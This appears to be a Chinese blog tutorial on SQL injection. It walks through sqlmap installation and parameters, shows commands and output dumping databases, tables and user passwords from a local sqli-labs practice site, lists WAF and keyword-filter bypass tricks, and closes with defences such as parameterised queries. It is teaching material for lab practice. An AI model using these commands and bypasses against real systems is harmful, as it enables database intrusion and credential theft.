sql注释符注入防御_SQLMap和SQLi注入防御

本文介绍了SQL注入攻击的防御策略,并详细探讨了SQLMap工具的使用,包括其功能、安装步骤、常用参数及实战应用。通过SQLMap,可以自动化检测和利用SQL注入漏洞。同时,文章讨论了SQL注入的WAF绕过方法,强调了过滤关键字、使用编码技巧等防御手段。
摘要由CSDN通过智能技术生成

第一部分:Sqlmap使用

1.1 sqlmap介绍

1. 前边说了一些sql注入的基础语句,但是手工注入很麻烦,我们可以借助sqlmap这个强大的sql注入工具,进行数据的获取.

2. sqlmap介绍

(1)#sqlmap是一种开源的渗透测试工具,可以自动检测和利用SQL注入漏洞以及

接入该数据库的服务器。它拥有非常强大的检测引擎、具有多种特性的渗透测试器、通过数据库指纹提取访问底层文件系统并通过外带连接执行命令。

官方网站: sqlmap.org

(2)#支持的数据库:

MySQL,Oracle, PostgreSQL, Microsoft SQL Server, Microsoft

Access, IBM DB2, SQLite, Firebird, Sybase and SAP MAXDB。

(3)#支持多种注入方式

#UNION query SQL injection(可联合查询注入)

#Error-based SQL injection(报错型注入)

#Boolean-based blind SQL injection(布尔型注入)

#Time-based blind SQL injection(基于时间延迟注入)

#Stacked queries SQL injection(可多语句查询注入)

1.2 sqlmap安装和环境搭建

1.sqlmap安装主要步骤

(1)安装python环境--->sqlmap需要python环境

sqlmap跟Python2.X版本兼容比较好.(python的安装步骤直接下一步即可,需要修改的就是sqlmap的安装路径,这里改成了C:\Users\Administrator\python,为了直接命令行可以进入sqlmap目录更方便操作)

(2)Python安装不要安装到中文路径下,并把Python添加到环境变量中.

(3)下载并安装sqlmap,修改安装目录为C:\Users\Administrator\sqlmap

(4)测试python环境:  进入cmd命令行,输入python,如下提示则安装成功

C:\Users\Administrator>python

Python 2.7.16(v2.7.16:413a49145e, Mar  4 2019, 01:37:19) [MSC v.1500 64 bit (AMD64)] on win32

Type "help", "copyright", "credits" or "license" for more information.

>>> exit();

(5)sqlmap测试:  进入cmd命令行,输入sqlmap.py  -h (注意路径)

C:\Users\Administrator\sqlmap>sqlmap.py  -h#查看帮助信息

1.3 sqlmap常用参数

#(1)获取库名,列名,权限

--dbs   #获取所有数据库

--dbms   mysql  #指定数据库类型

--users   #所有数据库用户(数据库本地用户名)

--passwords  #获取数据库密码,(有权限才能读取)

--technique  #指定使用哪种注入类型

--current-db #当前数据库

--banner       #获取数据库标识

-D database_name --tables    #-D用于指定数据,--tables获取某个库下的表

-D database_name -T table_name --columns #-T指定表名,--columns获取列字段

-D database_name -T table_name -C column_1,column_2 --dump

#-C指定字段名,--dump显示结果

--users   #列数据库管理用户,当前用户有权限读取包含所有用户的表的权限时,就可以列出所有管理用户。

--current-user  #在大多数据库中可以获取到管理数据的用户。

--is-dba       #判断当前的用户是否为管理,是的话会返回True。

--privileges   #当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的权限,sqlmap将会告诉你哪个是数据库的超级管理员。也可以用-U参  数指定你想看那个用户的权限。

--proxy   #指定一个代理服务器 eg: –proxy http://local:8080

#(2)指定前后缀:

#sqlmap不能探测很多的干扰字符,闭合时可以手工指定前缀和后缀

select * from users where id=((('1'))) and 1=1

#--prefix=PREFIX 注入payload字符串前缀

#–suffix=SUFFIX  注入payload字符串后缀

eg:sqlmap -u “www.target.com/index.php?id=1” -p id --prefix “'))”

--suffix “AND ('1'='1”

#(3)导出结果:

sqlmap -u “www.a.com/1.php?id=1” --file-write=”d:/1.txt”

--file-dest=”E:/wwwroot/web/one.php“

--batch 全自动

--start=开始条数 --stop=结束条数

--dump 导出数据

--dump-all 导出所有数据

--purge-output/ --purge  清空缓存目录

--sql-shell 反弹sqlshell,类似于sql查询分析器  默认路径.sqlmap (点sqlmap)

1.4 sqlmap实战举例

#Less-1--Less65通用语句(这几句是最常用的几个参数,必会型)

#(1)获取所有库名

C:\Users\Administrator\sqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" --dbs --dbms=mysql --batch

#解析:

-u 后加url,表示测试的url

--dbs表示获取所有数据库

--dbms表示指定数据库类型为mysql

--batch表示自动获取

-D  security --tables 表示获取指定数据库为security 的表名

-D  security -T  users --columns 表示获取指定数据库为security里users表中的列名

-D security -T users -C username,password --dump  #获取security库,users表中username和password字段的数据信息,--dump表示显示结果

#结果:

[*] challenges

[*] dvwa

[*] information_schema

[*] mysql

[*] owasp

[*] performance_schema

[*] security

[*] test

#(2)获取当前库名

C:\Users\Administrator\sqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" --current-db --batch

#结果:

current database:    'security'

#(3)获取当前表名

C:\Users\Administrator\sqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" -D security --tables --batch

#结果:

Database: security

[4 tables]

+----------+

| emails   |

| referers |

| uagents  |

| users    |

+----------+

#(4)获取当前列名

C:\Users\Administrator\sqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" -D security -T users --columns  --batch

#结果:

Database: security

Table: users

[3 columns]

+----------+-------------+

| Column   | Type        |

+----------+-------------+

| id       | int(3)      |

| password | varchar(20) |

| username | varchar(20) |

+----------+-------------+

#(5)获取users表中username和password内容

C:\Users\Administrator\sqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" -D security -T users -C username,password --dump  --batch

#结果:

Database: security

Table: users

[13 entries]

+----------+------------+

| username | password   |

+----------+------------+

| Dumb     | Dumb       |

| Angelina | I-kill-you |

| Dummy    | p@ssword   |

| secure   | crappy     |

| stupid   | stupidity  |

| superman | genious    |

| batman   | mob!le     |

| admin    | admin      |

| admin1   | admin1     |

| admin2   | admin2     |

| admin3   | admin3     |

| dhakkan  | dumbo      |

| admin4   | admin4     |

+----------+------------+

第二部分:sqli注入之waf绕过

2.1 SQL注入之waf绕过方法介绍

说明:这里仅举例说明绕过方式,实际场景则更加复杂. 多种绕过方式可以混合使用,还可以进行编码.

1.前边知道了sql注入的方式后,如何才能防止sql注入呢?

#(1)过滤注释符

#(2)过滤and或or

#(3)过滤select或union

#(4)过滤黑名单

2.过滤了and/or绕过方式有哪些?

#(1)mysql中大小写不敏感,都可以正确执行;===>使用大小写变形

#(2)mysql支持十六进制,用16进制或用URL编码;

#(3)用符号替换单词   ===>符号绕过 and(&&)  or(||)

#(4)内联注释和多行注释===>在敏感词汇中添加注释a/**/nd   双写绕过oORr

3.当然还有其他方法,我们以这几种过滤方式为例,来说说如何绕过.

真实场景中有waf设备,waf其实也是通过过滤一些关键字来防止sql注入的.

2.2 sql注入之绕过waf实验

1.过滤了注释符(Less-23为例)

#(1)过滤注释符的原因:对于正常的SQL语句中,注释符起到说明作用的功能。但是对于在利用SQL注入漏洞过程中,注释符起到闭合 单引号、多单引号、双引号、单括号、多括号的功能。

单行注释:  --+ 或 --空格  或 #

多行注释: /* 多行注释内容 */

#(2)过滤函数preg_replace

preg_replace(mixed $pattern , mixed $replacement , mixed $subject):执行一个正则表达式的搜索和替换。

$pattern: 要搜索的模式,可以是字符串或一个字符串数组

$replacement: 用于替换的字符串或字符串数组。

$subject: 要搜索替换的目标字符串或字符串数组。

2.过滤了and或or应该如何绕过?(Less-25为例)

(1)源码分析:可以看到把or或and替换为了空

(2)操作步骤

3.过滤了空格应该如何绕过?(Less-26为例)

(1)用%0a来充当空格

4.过滤了select/union该如何绕过?(Less-27为例)

第三部分:sqli注入防御

3.1 sql注入防御方法

1.常用防护措施:

#(1)、关闭错误提示: PHP配置文件php.ini中的display_errors=Off

#(2)、魔术引号(与addslashes的效果相同):当php.ini里的magic_quotes_gpc=On时。提交的变量中所有的单引号(’)、双引号(”)、反斜线(\)与 NUL(NULL 字符)会自动转为含有反斜线的转义字符

#(3)、对数据进行过滤:比如过滤掉and/or/union等常用关键词

#(4)、控制连接数据库的用户权限:每个库针对单个库设置一个管理员,不要用root权限.

#(5)、预处理和参数化(PDO):处理用户传入的参数,返回布尔值,不是单纯的对数据进行"拼接",从而避免sql注入.

#(6)、硬件防护措施(WAF等硬件)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值